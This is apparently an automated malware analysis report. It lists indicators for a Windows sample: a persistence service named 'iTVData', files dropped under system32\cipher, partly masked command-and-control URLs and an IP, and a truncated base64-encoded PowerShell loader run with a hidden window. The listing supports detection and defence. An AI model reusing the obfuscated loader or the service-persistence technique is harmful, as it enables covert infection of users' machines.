Technical Information
- [<HKLM>\System\CurrentControlSet\Services\iTVData] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\iTVData] 'ImagePath' = '"<SYSTEM32>\cipher\iTVData.exe"'
- 'iTVData' "<SYSTEM32>\cipher\iTVData.exe"
- 'iTVData' <SYSTEM32>\cipher\iTVData.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAHgAcgBoAF8AeQB2AD0AKAAoACcAWgAnACsAJwA1AGIAeABzACcAKQArACcAMAByACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBzAGUAcgBwAHIAbwBmAEkAbABFAFwAYwBzADcAMgAyAEUAOABcAH...
- %HOMEPATH%\cs722e8\u87fwa6\pp7rcm.exe
- <SYSTEM32>\cipher\itvdata.exe
- from %HOMEPATH%\cs722e8\u87fwa6\pp7rcm.exe to <SYSTEM32>\cipher\itvdata.exe
- '50.##1.220.50':80
- http://nn##tv.com/newsletter/hDT/
- http://50.##1.220.50/QN5jUd/
- DNS ASK nn##tv.com
- '%HOMEPATH%\cs722e8\u87fwa6\pp7rcm.exe'
- '<SYSTEM32>\cipher\itvdata.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAHgAcgBoAF8AeQB2AD0AKAAoACcAWgAnACsAJwA1AGIAeABzACcAKQArACcAMAByACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBzAGUAcgBwAHIAbwBmAEkAbABFAFwAYwBzADcAMgAyAEUAOABcAH...' (with hidden window)